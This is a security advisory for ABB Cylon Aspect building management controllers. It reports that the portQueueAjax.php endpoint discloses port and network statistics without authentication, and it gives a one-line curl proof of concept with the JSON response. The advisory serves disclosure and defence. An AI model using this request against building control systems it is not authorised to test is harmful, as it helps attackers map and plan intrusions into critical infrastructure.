ABB Cylon Aspect 3.08.01 (portQueueAjax.php) Information Disclosure


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The portQueueAjax.php endpoint on ABB Cylon Aspect BMS/BAS controller
is accessible without authentication, potentially exposing sensitive port
statistics and network activity metrics. An attacker could leverage this
information to map the network, identify critical systems, and plan further
attacks.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5880
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5880.php


21.04.2024

--


$ cat project

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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 


$ curl http://192.168.73.31/portQueueAjax.php
{"port1":{"portId":"port1","timestamp":1734003925003,"nonZeroCount":0,"noTraffic":true},"port2":{"portId":"port2","timestamp":1734003925003,"nonZeroCount":0,"noTraffic":true}}